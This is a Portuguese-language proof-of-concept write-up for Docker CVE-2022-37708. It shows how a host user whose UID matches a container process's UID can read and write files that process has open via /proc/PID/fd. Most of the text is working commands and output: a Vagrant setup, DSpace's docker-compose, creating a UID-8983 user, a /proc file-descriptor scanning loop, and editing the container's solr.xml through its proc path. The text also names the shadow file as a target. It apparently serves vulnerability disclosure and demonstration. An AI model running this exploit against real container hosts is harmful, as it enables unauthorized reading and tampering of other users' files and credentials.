
Docker CVE-2022-37708
Docker CVE-2022-37708.
Este exploit depende de como o sistema de arquivos UNIX atribui UID e GID aos arquivos que o Docker compartilha entre o Host que executa o Docker e o Cliente que é executado dentro do Docker, bem como da natureza de como funciona a propriedade do Process ID (PID).
Isso pode ser feito em praticamente qualquer linguagem que forneça acesso a file descriptors. O diretório /proc/ acaba expondo isso, o que torna muito fácil de executar usando comandos de shell.
Considere um computador que fornece um serviço de e-mail para vários usuários. Esse serviço de e-mail é executado dentro de uma distribuição autocontida rodando dentro do Docker no host. A distribuição autocontida é considerada o "sistema cliente". O sistema no qual o Docker está rodando é considerado o "sistema host". O "sistema host" tem diferentes serviços nele, como "DBUS" para fornecer um message-bus (barramento de mensagens). Por razões de segurança, o message-bus "DBUS" é executado como um usuário sem privilégios "messagebus" e tem UID 123. O usuário "messagebus" não tem acesso ao Docker e não tem acesso ao "sistema cliente". Por razões de segurança, o "sistema cliente" executa o processamento de e-mail como um usuário não-root "emailservice" e tem o UID 123.
Observe como designei o "messagebus" como tendo um UID de 123 e também o "emailservice" como tendo um UID 123. Isso normalmente não é um problema porque são dois sistemas separados (o "sistema cliente" e o "sistema host") e seus UIDs e mapeamentos de usuários não têm relação entre si.
Se em algum momento o "emailservice" abrir um e-mail aleatório para processar, o "messagebus" teria a oportunidade de ver e editar esse arquivo. Como o usuário "messagebus" está completamente fora do "sistema cliente", o "sistema cliente" nunca saberia que esse arquivo está potencialmente sendo lido e gravado.
Isso pode ser ainda mais perigoso se o "emailservice" ler o arquivo shadow do sistema para validar alguma combinação de nome de usuário e senha. O "messagebus" teria então acesso total de leitura e escrita ao arquivo shadow dentro do "sistema cliente" durante o período em que esse arquivo estiver aberto no "sistema cliente".
Uma maneira fácil de executar o exploit é simplesmente fazer PID dial no diretório /proc/ em busca de arquivos pid.
Um simples script bash em um loop infinito pode procurar periodicamente por arquivos sendo abertos.
for i in /proc/* ; do if [[ -d $i/fd ]] ; then ls -lh $i/fd ; fi ; done
Há duas partes críticas do exploit que dificultam sua exploração.
Para o primeiro caso, um loop infinito e alguma mágica de script podem amenizar isso. Para o segundo caso, uma distribuição especialmente criada ou uma distribuição bem conhecida pode eliminar a parte da sorte. Se um sistema tem UIDs pré-definidos, então deve ser possível prever qual UID fora do "sistema cliente" é necessário.
Usando uma máquina virtual Vagrant Debian-10 (Buster) para atuar como "sistema host" e testar o exploit:
Vagrant.configure("2") do |config|
config.vm.box = "generic/debian10"
config.vm.provider "virtualbox" do |vb|
vb.memory = 4096
vb.cpus = 2
vb.name = "Wargames"
end
config.vm.synced_folder "/tmp/files", "/host"
end
Dentro do "sistema host", obtenha a versão mais recente do Docker e siga as instruções aqui:
O exemplo de "sistema cliente" é um produto open-source hospedado no Github chamado DSpace que fornece um arquivo docker-compose:
Agora clone o DSpace e execute o docker compose:
# git clone https://github.com/DSpace/DSpace.git
# cd DSpace
# docker compose up
Há várias imagens criadas por este projeto, mas vamos nos concentrar em "dspace_solr_data".
Vamos confirmar que o directory traversal é protegido:
# sudo ls -ld /var/lib/docker
drwx--x--- 15 root root 4096 May 6 13:49 /var/lib/docker
Vamos olhar o arquivo que quero explorar:
# sudo find /var/lib/docker/volumes/ -name solr.xml
/var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
/var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
Isso nos diz que nosso usuário sortudo precisa ter um UID de 8983 para conseguir explorar isso.
Vamos criar esse usuário sortudo e chamá-lo de "Lightman".
# sudo useradd -u 8983 -d /home/Lightman/ -m Lightman
Agora vamos olhar esses arquivos:
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
Para que Lightman explore isso, não basta Lightman ser o dono dos arquivos; algum processo DENTRO do "sistema cliente" precisa ter o arquivo aberto.
Para fins de comprovação deste exploit, vamos usar tail -F no arquivo solr.xml dentro do "sistema cliente".
Faça isso em um terminal separado, conectado à "máquina host" como o usuário vagrant.
Descubra o container correto:
# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
...
c4b06050ef46 solr:8.11-slim "/bin/bash -c 'init-…" 11 minutes ago Up 11 minutes 0.0.0.0:8983->8983/tcp dspacesolr
Agora conecte-se a solr:8.11-slim.
# docker run -it solr:8.11-slim bash
# id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
O usuário solr de fato tem UID 8983.
Agora abra o arquivo solr.xml e mantenha-o aberto.
# tail -F /var/solr/data/solr.xml
Ótimo, tudo está configurado para esse usuário Lightman fazer war dial em busca de file descriptors.
Em um terminal separado, conectado ao "sistema host" como o usuário vagrant, troque para o usuário Lightman.
# sudo su - Lightman
# id
uid=8983(Lightman) gid=8983(Lightman) groups=8983(Lightman)
Use /proc para discar todos os file descriptors abertos:
# ls /proc/*/fd/* -ld
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/2 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12622/fd/255 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/2 -> /dev/pts/0
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/10 -> /dev/tty
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/2 -> /dev/pts/3
Como você pode ver, temos duas correspondências:
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
Observe que o caminho /var/solr/data/solr.xml não existe de fato no "sistema host".
Preste muita atenção no terminal em que você está executando tail -F enquanto faz isso.
Edite o arquivo abrindo-o diretamente pelo caminho proc:
# vim /proc/12683/fd/3
Vou para o final do arquivo, escrevo Hello World e salvo a alteração.
Você deve ver, dentro do "sistema cliente", que o arquivo também é atualizado.
Lightman editou com sucesso um arquivo para o qual Lightman não tem acesso adequado de leitura/escrita nem qualquer acesso de directory traversal. O arquivo está na verdade dentro de um cliente Docker executando sob uma distribuição diferente que não tem um usuário "Lightman" nela.